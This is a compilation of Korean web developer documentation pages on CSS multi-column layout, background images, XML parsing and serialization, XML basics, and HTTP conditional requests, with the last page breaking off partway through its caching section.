CSS 다단 레이아웃 사용 - CSS: Cascading Style Sheets

CSS 다단 레이아웃 사용
==============

**CSS 다단(multi-column) 레이아웃**은 다단 텍스트 정의가 쉽도록 *블록 레이아웃 모드*를 확장합니다. 사람들은 줄이 너무 긴 경우 텍스트 읽는데 어려움이 있습니다; 한 줄 끝에서 다음 줄 시작까지 눈에 옮기기 너무 긴 경우, 어느 줄을 읽고 있었는 지를 잊어버립니다. 그러므로, 큰 화면을 최대로 쓰기 위해서는, 너비가 제한된 텍스트 단을 나란히 놓아야 합니다, 바로 신문이 하는 것처럼.

불행하게도 이는 CSS 및 HTML로 하기는 고정 위치에서 강제 단 바꿈 또는 텍스트에 허용되는 마크업의 심한 제한 혹은 위대한(heroic) 스크립팅 사용 없이는 불가능합니다. 이 제한은 전통 블록 레이아웃 모드를 확장하는 새로운 CSS 속성 추가로 해결됐습니다.

단 사용
----

### 단 수와 너비

두 CSS 속성은 많은 단을 보일 지 여부와 방법을 제어합니다: `column-count` (en-US) 및 `column-width` (en-US).

`column-count` 속성은 단 수를 특정한 수로 설정합니다. 가령,

예 1
---

### HTML

```html
<div id="col">
  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
  consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
  cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
  proident, sunt in culpa qui officia deserunt mollit anim id est laborum
</div>
```

### CSS

```css
#col {
  -moz-column-count: 2;
  -webkit-column-count: 2;
  column-count: 2;
}
```

### 결과

두 단에 콘텐츠를 표시합니다 (다단 준수 브라우저를 사용 중인 경우):

`column-width` 속성은 희망 최소 단 너비를 설정합니다. `column-count`도 설정되지 않은 경우, 그러면 브라우저는 자동으로 이용 가능한 너비에 맞게 많은 단을 만듭니다.

예 2
---

### HTML

```html
<div id="wid">
  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
  consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
  cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
  proident, sunt in culpa qui officia deserunt mollit anim id est laborum
</div>
```

### CSS

```css
#wid {
  -moz-column-width: 100px;
  -webkit-column-width: 100px;
  column-width: 100px;
}
```

### 결과

정확한 세부사항은 CSS3 스펙에 설명되어 있습니다.

다단 블록에서, 콘텐츠는 필요에 따라 한 단에서 다음 단으로 자동으로 흐릅니다. 모든 HTML, CSS 및 DOM 기능은 단 내에서 지원됩니다, 편집 및 인쇄 중일 때.

### `columns` 단축

대부분, 웹 디자이너는 두 CSS 속성(`column-count` (en-US) 또는 `column-width` (en-US)) 중 하나를 사용합니다. 이러한 속성에 대한 값이 겹치지 않기에, 종종 `columns` (en-US) 단축을 쓰는 게 편리합니다. 가령.

`column-width:12em` CSS 선언은 다음으로 대체될 수 있습니다:

예 3
---

### HTML

```html
<div id="col\_short">
  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
  consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
  cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
  proident, sunt in culpa qui officia deserunt mollit anim id est laborum
</div>
```

### CSS

```css
#col\_short {
  -moz-column-width: 12em;
  -moz-columns: 12em;
  -webkit-columns: 12em;
  columns: 12em;
}
```

### 결과

`column-count:4` CSS 선언은 다음으로 대체될 수 있습니다:

예 4
---

### HTML

```html
<div id="columns\_4">
  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
  consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
  cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
  proident, sunt in culpa qui officia deserunt mollit anim id est laborum
</div>
```

### CSS

```css
#columns\_4 {
  -moz-column-count: 4;
  -moz-columns: 4;
  -webkit-columns: 4;
  columns: 4;
}
```

### 결과

`column-width:8em` 및 `column-count:12` 두 CSS 선언은 다음으로 대체될 수 있습니다:

예 5
---

### HTML

```html
<div id="columns\_12">
  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
  consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
  cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
  proident, sunt in culpa qui officia deserunt mollit anim id est laborum
</div>
```

### CSS

```css
#columns\_12 {
  -moz-columns: 12 8em;
  -webkit-columns: 12 8em;
  columns: 12 8em;
}
```

### 결과

### 높이 균형

CSS3 Column 스펙은 단 높이는 균형을 이루어야 함을 요구합니다: 즉, 브라우저는 각 단의 콘텐츠 높이가 거의 같도록 자동으로 최대 단 높이를 설정합니다. Firefox는 이를 행합니다.

그러나, 일부 상황에서는 최대 단 높이를 명시해서 설정하는 것도 유용하고 그 다음 첫 단에서 시작하여 필요한 만큼 많은 단을 생성하며, 어쩌면 오른쪽으로 넘치는 콘텐츠를 배치합니다. 따라서, 높이가 제한되는 경우, 다단 블록에 CSS `height` 또는 `max-height` 속성을 설정하여, 각 단은 그 높이 및 더 이상 새로운 단을 추가하기 전까지 늘 수 있습니다. 이 모드 역시 레이아웃에 대해서 훨씬 더 효율이 좋습니다.

### 단 간격

단 사이 간격이 있습니다. 기본 권장값은 `1em`입니다. 이 크기는 `column-gap` (en-US) 속성을 다단 블록에 적용하여 바꿀 수 있습니다:

예 6
---

### HTML

```html
<div id="column\_gap">
  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
  consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
  cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
  proident, sunt in culpa qui officia deserunt mollit anim id est laborum
</div>
```

### CSS

```css
#column\_gap {
  -webkit-column-count: 5;
  -moz-column-count: 5;
  column-count: 5;
  -moz-column-gap: 2em;
  -webkit-column-gap: 2em;
  column-gap: 2em;
}
```

### 결과

우아한 강등
------

단 속성은 단을 지원하지 않는 브라우저에 의해 그냥 무시됩니다. 따라서 비지원 브라우저에서는 1단으로 표시하고 지원하는 브라우저에서는 다단을 사용하는 레이아웃을 만드는 게 그런 대로 쉽습니다.

모든 브라우저가 이러한 접두어 없는 속성을 지원하는 것은 아님을 주의하세요. 오늘날 대부분의 브라우저에서 이 기능을 사용하기 위해서, 각 속성은 세 번(`-moz` 접두어로 한 번, `-webkit` 접두어로 한 번 그리고 접두어 없이 한 번) 작성되어야 합니다.

결론
--

CSS3 단(column)은 웹 개발자가 화면 영역(real estate)을 최대한 쓸 수 있게 돕는 원시(primitive) 레이아웃입니다. 상상력이 풍부한 개발자는 많은 단 사용법을 찾을 지도 모릅니다, 특히 자동 높이 균형 기능 가지고.

참조
--

* http://weblogs.mozillazine.org/roc/a...18\_for\_we.html


한 번에 여러 배경 사용하기 - CSS: Cascading Style Sheets

한 번에 여러 배경 사용하기
===============

**여러 개의 배경**을 한 번에 적용할 수도 있습니다. 첫 번째 배경이 맨 위에, 마지막 배경이 맨 밑에 위치하는 레이어 구조를 사용하게 됩니다. 마지막 배경에만 배경색을 적용할 수 있습니다.

여러 배경을 적용하는 건 쉽습니다.

```css
.myclass {
  background:
    background1,
    background 2,
    ...,
    backgroundN;
}
```

`background` 단축 속성뿐 아니라 `background-color`를 제외한 단일 속성에서도 사용할 수 있습니다. 즉, `background`, `background-attachment`, `background-clip`, `background-image`, `background-origin`, `background-position` (en-US), `background-repeat`, `background-size` (en-US)에는 목록을 값으로 지정할 수 있습니다.

예제
--

다음 예제는 Firefox 로고, 거품, 선형 그레이디언트 (en-US) 총 세 개의 배경을 사용합니다.

### HTML

```html
<div class="multi-bg-example"></div>
```

### CSS

```css
.multi-bg-example {
  width: 100%;
  height: 400px;
  background-image: url(firefox.png), url(bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
  background-repeat: no-repeat, no-repeat, no-repeat;
  background-position:
    bottom right,
    left,
    right;
}
```

### 결과

결과에서 볼 수 있듯, `background-image`에서 첫 번째로 지정한 Firefox 로고가 맨 위, 그 다음이 거품 그림이고 선형 그레이디언트는 모든 '이미지' 밑에 위치합니다. 하위 속성(`background-repeat`, `background-position` (en-US))의 각 값도 순서에 맞는 배경에 적용됩니다. 따라서 `background-repeat`의 첫 번째 값은 처음(맨 위) 배경에 적용되고, 두 번째와 두 번째 배경, 세 번째와 세 번째 배경...도 같습니다.

같이 보기
-----

* CSS 그레이디언트 사용하기 (en-US)


배경 이미지 크기 조정하기 - CSS: Cascading Style Sheets

배경 이미지 크기 조정하기
==============

CSS 배경 이미지의 기본 설정값에서는 원본 이미지가 크기 변화 없이 바둑판식으로 배열됩니다. `background-size` (en-US) 속성에 가로와 세로 크기를 지정해 크기를 바꿀 수 있습니다. 이미지는 원하는대로 확대할 수도, 줄일 수도 있습니다.

큰 이미지 바둑판식 배열
-------------

2982x2808의 커다란 Firefox 이미지를 가지고 있다고 해보겠습니다. 모종의 이유(끔찍하게 잘못된 사이트 디자인 등)로 300x300 픽셀 요소에 저 이미지 4개를 바둑판식으로 보여야 합니다. `background-size`와 고정값 150 픽셀로 목표를 달성할 수 있습니다.

### HTML

```html
<div class="tiledBackground"></div>
```

### CSS

```css
.tiledBackground {
  background-image: url(firefox\_logo.png);
  background-size: 150px;
  width: 300px;
  height: 300px;
  border: 2px solid;
  color: pink;
}
```

### Result

이미지 늘리기
-------

가로와 세로 크기를 각각 지정할 수도 있습니다.

```css
background-size: 300px 150px;
```

결과는 다음과 같습니다.

![](/ko/docs/Web/CSS/CSS_backgrounds_and_borders/Resizing_background_images/ss2.png)

작은 이미지 키우기
----------

반대로 배경 이미지를 키울 수도 있습니다. 다음 코드는 32x32 픽셀 파비콘을 300x300 픽셀로 늘린 결과입니다.

![](/ko/docs/Web/CSS/CSS_backgrounds_and_borders/Resizing_background_images/ss3.png)

```css
.square2 {
  background-image: url(favicon.png);
  background-size: 300px;
  width: 300px;
  height: 300px;
  border: 2px solid;
  text-shadow: white 0px 0px 2px;
  font-size: 16px;
}
```

보시다시피 CSS는 이미지 파일 이름을 제외하면 동일합니다.

특별한 값: "contain" 과 "cover"
--------------------------

길이를 나타내는 `<length>` 값 대신, `background-size` (en-US) CSS 속성에 `contain` 과 `cover` 두개의 특별한 값을 지정할 수 있습니다. 살펴봅시다.

### `contain`

`contain` 값을 지정하면, 배경 이미지의 가로, 세로 모두 요소보다 작다는 조건하에 가능한 크게 조정됩니다. 이미지의 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 작거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.

#### HTML

```html
<div class="bgSizeContain">
  <p>Try resizing this element!</p>
</div>
```

#### CSS

```css
.bgSizeContain {
  background-image: url(firefox\_logo.png);
  background-size: contain;
  width: 160px;
  height: 160px;
  border: 2px solid;
  color: pink;
  resize: both;
  overflow: scroll;
}
```

#### 결과

### `cover`

값을 `cover` 로 지정하면 배경이미지의 가로, 세로 길이 모두 요소보다 크다는 조건하에 가능한 배경 이미지를 작게 조정합니다. 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 크거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.

#### HTML

```html
<div class="bgSizeCover">
  <p>Try resizing this element!</p>
</div>
```

#### CSS

```css
.bgSizeCover {
  background-image: url(firefox\_logo.png);
  background-size: cover;
  width: 160px;
  height: 160px;
  border: 2px solid;
  color: pink;
  resize: both;
  overflow: scroll;
}
```

#### 결과

같이 보기
-----

* `background-size` (en-US)
* `background`
* Scaling of SVG backgrounds (en-US)


Border-radius 생성기 - CSS: Cascading Style Sheets

Border-radius 생성기
=================

이 도구를 사용해 CSS3 `border-radius` 값을 생성할 수 있습니다.


Border-image 생성기 - CSS: Cascading Style Sheets

Border-image 생성기
================

이 도구를 사용해 CSS3 `border-image` 값을 생성할 수 있습니다.


XML 파싱 및 직렬화 - XML: 확장가능한 마크업 언어

XML 파싱 및 직렬화
============

웹 상에서 XML을 파싱하고 직렬화할 때 사용할 수 있는 객체는 다음과 같습니다.

* **DOM 트리를 문자열로 직렬화**하는 XMLSerializer
* **XML 문서 상의 각기 다른 부분들을 (비 XML 문법을 사용하여) 문자열로 직렬화**하는 XPath
* XML을 파싱하여 **문자열을 DOM 트리로 변환**하는 DOMParser
* **URL을 사용하여 주소화 가능한(URL-addressable) 리소스를 DOM 트리로** 파싱하는 XMLHttpRequest
Part 1: XML 문서 생성법
------------------

XML 문서 생성법은 다음과 같습니다. (XML 문서는 `Document`의 인스턴스 입니다.)

### 문자열을 DOM 트리로 파싱
```

var sMyString = '<a id="a"><b id="b">hey!</b></a>';
var oParser = new DOMParser();
var oDOM = oParser.parseFromString(sMyString, "text/xml");
// 루트 요소의 이름, 또는 에러 메시지를 출력합니다.
dump(
  oDOM.documentElement.nodeName == "parsererror"
    ? "error while parsing"
    : oDOM.documentElement.nodeName,
);
```

### JavaScript 객체 트리를 시작점으로 하여 XML 문서를 생성(JXON)

JXON 역(reverse) 알고리즘을 참고하세요.

### URL 주소화 가능한(URL-addressable) 리소스를 DOM 트리로 파싱

#### XMLHttpRequest를 사용합니다

다음은 URL 주소화 가능한 XML 파일을 DOM 트리로 읽어들인 후 파싱하는 예시 코드입니다.

```js
var xhr = new XMLHttpRequest();
xhr.onload = function () {
  dump(xhr.responseXML.documentElement.nodeName);
};
xhr.onerror = function () {
  dump("Error while getting XML.");
};
xhr.open("GET", "example.xml");
xhr.responseType = "document";
xhr.send();
```

`xhr.responseXML는` `Document`의 인스턴스입니다.

Part 2: 특정 XML 문서의 콘텐츠를 직렬화하는 방법
--------------------------------

Part 1에서 생성한 XML 문서의 콘텐츠를 직렬화할 수 있는 방법은 다음과 같습니다.

### DOM 트리를 문자열로 직렬화

제일 먼저 DOM 트리 생성법에 나와 있는 대로 DOM 트리를 생성합니다. 다른 방법으로는 `XMLHttpRequest`에서 얻어낸 DOM 트리를 사용하는 방법이 있습니다.

이제 `doc`(DOM 트리)를 문자열로 직렬화 해 봅시다.

```js
var oSerializer = new XMLSerializer();
var sXML = oSerializer.serializeToString(doc);
```

`new XMLSerializer()` 생성자는 JS XPCOM 컴포넌트(혹은 JS module) 내에서는 사용이 불가능합니다. 대신, 다음과 같은 코드를 작성하세요.

```js
var oSerializer = Components.classes[
  "@mozilla.org/xmlextras/xmlserializer;1"
].createInstance(Components.interfaces.nsIDOMSerializer);
var sXML = oSerializer.serializeToString(doc);
```

#### DOM 트리를 문자열로 "예쁘게(pretty)" 직렬화

`XMLSerializer와` E4X를 사용하면 DOM 트리를 예쁘게 출력(pretty print 할 수 있습니다. 우선, DOM 트리 생성법 글을 참고하여 DOM 트리를 생성합니다. 혹은 `XMLHttpRequest`를 통해 DOM 트리를 뽑아내는 방법도 있습니다. 아래 코드에서 변수 `doc`는 DOM 트리를 가지고 있습니다.

```js
var oSerializer = new XMLSerializer();
var sPrettyXML = XML(oSerializer.serializeToString(doc)).toXMLString();
```

들여쓰기는 두 번 스페이스가 들어간 것과 같게 되어 있습니다. 좀 더 효율적인 코드를 작성하거나 들여쓰기 문자열을 임의로 설정하고 싶다면 `treeWalker`를 사용하십시오.

**참고:** E4X `toXMLString` 메소드를 쓴다면, **CDATA 요소가 없어지거나**, 요소 안에 담긴 텍스트만 남을 수 있습니다. 그러므로 만약 XML 내에 CDATA 요소가 들어 있다면, 위에 나온 메소드는 그다지 유용하지 않을 수도 있습니다.

```xml
<content><![CDATA[This is the content]]></content>
```

위의 코드는 다음과 같이 변환됩니다.

```xml
<content>This is the content</content>
```

### DOM 트리를 JavaScript 객체 트리로 직렬화 (JXON)

JXON (lossless **J**avaScript **X**ML **O**bject **N**otation, 무손실 JavaScript XML 객체 표기법)은 XML을 사용하여 JavaScript 객체를 표현하는 방법입니다. XML 문서의 일부분만 나오게 하고 싶다면, 문서 전체를 JSON으로 변환하지 말고 XPath를 사용하세요! 이 외의 상황이라면 JSON에 관한 글을 참조하세요.

### DOM 트리를 파일로 직렬화

먼저, DOM 트리 생성법 글에 나와 있는 대로 DOM 트리를 생성하세요. 만약 `XMLHttpRequest`를 사용하여 이미 DOM 트리가 존재한다면 이 절의 마지막 부분으로 건너 뛰십시오.

이제 DOM 트리인 `doc`를 파일로 직렬화 해봅시다. 파일에 대해 더 알아보고 싶다면, Mozilla에서 파일 사용과 관련하여를 참조하세요.

```js
var oFOStream = Components.classes[
  "@mozilla.org/network/file-output-stream;1"
].createInstance(Components.interfaces.nsIFileOutputStream);
var oFile = Components.classes["@mozilla.org/file/directory\_service;1"]
  .getService(Components.interfaces.nsIProperties)
  .get("ProfD", Components.interfaces.nsILocalFile); // get profile folder
oFile.append("extensions"); // extensions sub-directory
oFile.append("{5872365E-67D1-4AFD-9480-FD293BEBD20D}"); // GUID of your extension
oFile.append("myXMLFile.xml"); // filename
oFOStream.init(oFile, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
new XMLSerializer().serializeToStream(doc, oFOStream, ""); // rememeber, doc is the DOM tree
oFOStream.close();
```

### XMLHttpRequest 객체를 파일로 직렬화

이미 `XMLHttpRequest`를 사용하여 DOM 트리를 보유한 상태라면, 위의 코드를 사용하되 `serializer.serializeToStream(doc, oFOStream, "")` `부분을` `serializer.serializeToStream(xmlHttpRequest.responseXML.documentElement, oFOStream, "")`로 대체하십시오. `xmlHttpRequest은` `XMLHttpRequest`의 인스턴스입니다.

위 코드는 서버에서 XML을 찾아낸 후 문자열 스트림으로 재직렬화(re-serialize)한다는 것을 알아두세요. 필요에 따라 `xmlHttpRequest.responseText`를 곧장 건너뛸 수 있습니다.

### HTML 문서를 직렬화

만약 보유한 DOM이 HTML 문서라면 다음과 같이 간단하게 직렬화할 수 있습니다.

```js
var serialized = document.documentElement.innerHTML;
```

참고 자료
-----

* XPath
* XMLHttpRequest
* JXO


XML 소개 - XML: 확장가능한 마크업 언어

XML 소개
======

XML(확장 가능한 마크업 언어)은 HTML과 유사하지만, 미리 정의된 태그가 없는 마크업 언어입니다. 대신 필요에 맞게 특별히 설계된 태그를 직접 정의합니다. 이는 데이터를 저장, 검색, 공유할 수 있는 형식으로 저장할 수 있는 강력한 방법입니다. 가장 중요한 것은 XML의 기본 형식이 표준화되어 있기 때문에, 로컬 또는 인터넷을 통해 시스템이나 플랫폼 간 XML을 공유하거나 전송하는 경우에도, 표준화된 XML 구문으로 덕분에 수신자가 데이터를 파싱 할 수 있다는 점입니다.

XML을 기반으로 하는 언어에는 XHTML, MathML, SVG, RSS, RDF 등 여러 가지가 있습니다. 여러분만의 언어를 직접 정의할 수도 있습니다.

XML 문서 구조
---------

XML과 XML 기반 언어의 전체 구조는 태그를 기반으로 합니다.

### XML 선언

XML 선언은 태그가 아닙니다. 문서의 메타데이터를 전달하는 데 사용됩니다.

```html
<?xml version="1.0" encoding="UTF-8"?>
```

#### 속성

`version`

문서에 사용된 XML의 버전.

`encoding`

문서에 사용된 인코딩.

### 주석

```html
<!-- 주석 -->
```

"올바른" XML(유효하고 올바른 형식)
----------------------

### 올바른 설계 규칙

XML 문서를 올바르게 작성하려면 다음 조건을 충족해야 합니다.

* 문서가 올바른 형식이어야 합니다.
* 문서가 모든 XML 구문 규칙을 준수해야 합니다.
* 문서가 시맨틱 규칙을 준수해야 하며, 이는 일반적으로 XML 스키마나 DTD(**문서 유형 정의**)에 설정되어 있습니다.
### 예제

```xml
<?xml version="1.0" encoding="UTF-8"?>
<message>
    <warning>
        Hello World
    <!-- </warning>이 빠짐 -->
</message>
```

이제 동일한 문서의 올바른 버전을 살펴보겠습니다.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<message>
    <warning>
         Hello World
    </warning>
</message>
```

정의되지 않은 태그가 포함된 문서는 유효하지 않습니다. 예를 들어, `<warning>` 태그를 정의하지 않았다면, 위의 문서는 유효하지 않습니다.

대부분의 브라우저는 잘못된 형식의 XML 문서를 식별할 수 있는 디버거를 제공합니다.

엔티티
---

HTML과 마찬가지로, XML은 몇 가지 특수 예약 문자를 참조하기 위한 메서드(엔티티라고 함)를 제공합니다(태그에서 사용되는 초과 기호 등). 이 중 아래 다섯 가지 문자를 알아두어야 합니다.

| 엔티티 | 문자 | 설명 |
| --- | --- | --- |
| < | < | 미만 기호 |
| > | > | 초과 기호 |
| & | & | 앰퍼샌드 |
| " | " | 큰따옴표 |
| ' | ' | 작은따옴표 |

선언된 엔티티는 5개뿐이지만, 문서의 문서 유형 정의를 사용하여 더 추가할 수 있습니다. 예를 들어 새 `&warning;` 엔티티를 만들려면 이렇게 하면 됩니다.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE body [
 <!ENTITY warning "경고: 엄청 안 좋은 일이 발생했습니다... 새로 고침하여 다시 시도해 주세요.">
]>
<body>
  <message> &warning; </message>
</body>
```

숫자 문자 참조를 사용하여 특수 문자를 지정할 수도 있습니다. 예를 들어 © 는 "©" 기호입니다.

XML 표시하기
--------

XML은 일반적으로 설명 목적으로 사용되지만, XML 데이터를 표시하는 방법도 있습니다. XML을 렌더링 하는 특정 방법을 정의하지 않으면, 브라우저에는 원시 XML이 표시됩니다.

XML 출력 스타일을 지정하는 한 가지 방법은 `xml-stylesheet` 처리 명령을 사용하여 문서에 적용할 CSS를 지정하는 것입니다.

```xml
<?xml-stylesheet type="text/css" href="stylesheet.css"?>
```

XML을 HTML과 같은 다른 언어로 변환하는 데 사용할 수 있는 **확장 가능한 스타일 시트 언어 변환**(XSLT)이라는 더 강력한 XML 표시 방법도 있습니다. 따라서 XML은 매우 다양하게 활용될 수 있습니다.

```xml
<?xml-stylesheet type="text/xsl" href="transform.xsl"?>
```

권장 사항
-----

이 문서는 XML이 무엇인지에 대한 아주 간략한 소개일 뿐이며, XML을 시작하기 위한 몇 가지 간단한 예제와 참고 자료만 포함되어 있습니다. XML에 대한 자세한 내용은 웹에서 보다 심층적인 문서를 찾아보시기 바랍니다.

하이퍼텍스트 마크업 언어(HTML)를 배우면 XML을 더 잘 이해하는 데 도움이 됩니다.

같이 보기
-----

* XML.com
* W3.org의 확장 가능한 마크업 언어(XML)
* Using XML: A List Apart


HTTP 조건부 요청 - HTTP

HTTP 조건부 요청
===========

영향을 받는 리소스들을 *검사기* 값을 이용해 비교함으로써, HTTP는, 성공인 경우라도, 요청의 결과가 변경될 수 있는 *조건부 요청*의 컨셉을 가지고 있습니다. 그런 요청들은 캐시 컨텐츠와 쓸모없는 컨트롤 회피를 검증하고, 다운로드를 이어서 하거나 서버 상의 문서를 업로드 또는 수정할 때 수정된 내용을 잃지 않도록 할 때처럼, 문서의 무결성을 확증하는데 유용할 수 있습니다.

원칙
--

HTTP 조건부 요청은 특정 헤더 값에 의존하여 기존과는 다르게 실행되는 요청입니다. 이 헤더들은 전제 조건을 정의하고 있으며 요청의 결과는 그 전제 조건이 일치하는지 아닌지에 따라 달라질 것입니다.

그런 다른 동작들은 요청 메서드 그리고 전제 조건을 위해 사용되는 헤더 집합에 의해 정의됩니다:

* 보통 문서를 가져오려고 하는 `GET`와 같은 safe 메서드들의 경우, 오직 연관되어 있는 경우에 조건부 요청이 회신하는데 사용될 수 있으므로 대역폭을 아끼게 됩니다.
* 보통 문서를 업로드하는 `PUT`와 같은 unsafe 메서드들의 경우, 그 요청의 원본 문서가 서버에 저장되어 있는 것과 동일한 경우에만 조건부 요청이 문서 업로드에 사용될 수 있습니다.
검사기
---

모든 조건부 요청들은 서버 상에 저장되어 있는 리소스가 특정 버전과 일치하는지를 검사하려고 합니다. 이를 이루기 위해, 조건부 요청은 리소스의 버전을 명시할 필요가 있습니다. 전체 리소스를 바이트 대 바이트로 비교하는 것은 불가능하므로(그리고 항상 그러길 원하는 것은 아닐테니!), 요청은 버전을 뜻하는 값을 함께 전송합니다: 그런 값들을 *검사기*라고 부르며 다음의 두 종류가 존재합니다:

* *last-modified* 날짜로, 문서의 최종 수정 일자를 말합니다.
* *entity tag* 혹은 *etag*라고 부르는 각 버전을 고유하게 나타내는 읽을 수 없는 문자열이 있습니다.

동일 리소스의 버전 비교는 약간 교모합니다: 컨텍스트에 의존하여 두 종류의 동질성 검사를 합니다. 바이트 대 바이트의 동일성을 원한다면 *강한 검사기*가 사용되는데, 예를 들어 다운로드를 이어할 때 사용됩니다. 사용자 에이전트가 두 리소스가 동일한 컨텐츠를 가지고 있는지만 알아내면 되는 경우에는 *약한 검사기*가 사용되는데, (다른 광고, 혹은 다른 날짜의 푸터와 같은) 덜 중요한 차이가 나는 경우에도 해당됩니다.

검사의 종류는 사용되는 검사기에 따라 달라집니다; `Last-Modified`와 `ETag` 모두 서버 상에서 검사기를 구현하는 복잡도가 매우 다양함에도 불구하고 검사의 두 종류를 모두 지원합니다. HTTP는 기본적으로 강한 검사를 사용하며, 약한 검사기가 사용될 수 있는 경우에는 이를 명시합니다.

### 강한 검사

강한 검사하는 리소스가 비교하려는 다른 리소스와 바이트 대 바이트로 동일한지를 보장하는데 그 특징이 있습니다. 이것은 조건부 헤더에 대해서 의무적이며, 다른 헤더들에 대해서는 기본값입니다. 강한 검사는 매우 엄격하고 서버 레벨에서 보장하기는 매우 어려울 수도 있으나, 때로는 성능의 손실을 감수하더라도 어떤 경우에도 데이터 무손실을 보장합니다.

`Last-Modified`를 이용해 강력한 검사를 위한 유일한 식별자를 갖는 것은 꽤 어렵습니다. 종종 이것은 리소스의 MD5 해시(혹은 유도물)를 가지고 `ETag`를 사용하여 이루어집니다.

### 약한 검사

약한 검사는 문서의 내용이 유사한 경우 두 문서의 버전이 동일하다고 간주하는데에 강한 검사와의 차이가 있습니다. 예를 들어, 기존의 페이지와 푸터 내의 날짜 혹은 광고만 다른 페이지가 있다고 가정할 때, 그 페이지는 강한 검사에서는 다르다고 판단할 수 있지만, 약한 검사 내에서는 기존의 페이지와 동일하다고 간주될 수 있습니다. 약한 검사를 만들어내는 etag 체계를 세우는 것은 페이지의 다른 요소들의 중요성 인지를 끌어들이는 순간부터 복잡해질 수 있으나, 그것은 캐싱 성능을 최적화하는데 매우 유용할 것입니다.

조건부 헤더
------

조건부 헤더라고 불리는, 몇몇 HTTP 헤더들은 조건부 요청을 이끌어 냅니다. 그들은 다음과 같습니다:

`If-Match` (en-US)

원격지 리소스의 `ETag`가 이 헤더에 나열된 것과 일치한다면 성공입니다. 기본적으로, etag에 `'W/'`가 접두사로 붙지 않았다면, 강한 검사가 실행될 것입니다.

`If-None-Match`

원격지 리소스의 `ETag`가 이 헤더에 나열된 것들과 일치하는 것이 없다면 성공입니다. 기본적으로, etag에 `'W/'`가 접두사로 붙지 않았다면, 강한 검사가 실행될 것입니다.

`If-Modified-Since`

원격지의 리소스의 `Last-Modified` 날짜가 이 헤더 내에 주어진 것보다 좀 더 최근인 경우 성공입니다.

`If-Unmodified-Since`

원격지 리소스의 `Last-Modified`가 이 헤더에 주어진 것보다 더 오래됐거나 같다면 성공입니다.

`If-Range`

`If-Match` (en-US) 혹은 `If-Unmodified-Since`와 유사하지만, 하나의 단일 etag 혹은 하나의 날짜만을 가질 수 있습니다. 만약 실패한다면, 범위 요청이 실패하고, `206` `Partial Content` 응답 대신에, `200` `OK`가 완전한 리소스와 함께 전송될 것입니다.

유스 케이스
------

### 캐시 갱신

조건부 요청의 가장 일반적인 유스 케이스는 캐시를 갱신하는 것입니다. 비어 있는 캐시를 가지고 있거나 혹은 캐시를 가지고 있지 않은 경우, 요청된 리소스는 `200` `OK`의 상태로 회신됩니다.

![The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.](/ko/docs/Web/HTTP/Conditional_requests/cache1.png)

리소스와 함께, 검사기가 헤더 내에 전송됩니다. 예를 들어, `Last-Modified`와 `ETag`가 전송되지만, 그들 중 하나만 전송될 수도 있습니다. 이 검사기들은 (모든 헤더처럼) 해당 리소스와 함께 캐시되며 캐시가 더 이상 신선하지 않게 됐을 때 조건부 요청을 만들어 내는데 사용될 것입니다.

캐시가 신선한 동안에는, 어떤 요청도 결코 발급되지 않습니다. 그러나 신선하지 않게 된다면, 대부분 `Cache-Control` 헤더에 의해 제어되며, 클라이언트는 캐시된 값을 직접 사용하지 않으며 `If-Modified-Since`와 `If-Match` (en-US) 헤더의 파라메터로써 사용되는 검사기 값을 이용해 *조건부 요청*을 전송하게 됩니다.

리소스가 변경되지 않았다면, 서버는 `304` `Not Modified` 응답을 회신하게 되는데, 이는 캐시를 다시 신선한 것으로 만들어주며 클라이언트는 그 캐시된 리소스를 사용하게 됩니다. 비록 어떤 리소스를 소비하는 응답/요청 라운드 트립이 있다고 하더라도, 연결을 통해 다시 전체 리소스를 전송하는 것보다는 더 효율적입니다.

![With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.](/ko/docs/Web/HTTP/Conditional_requests/httpcache2.png)

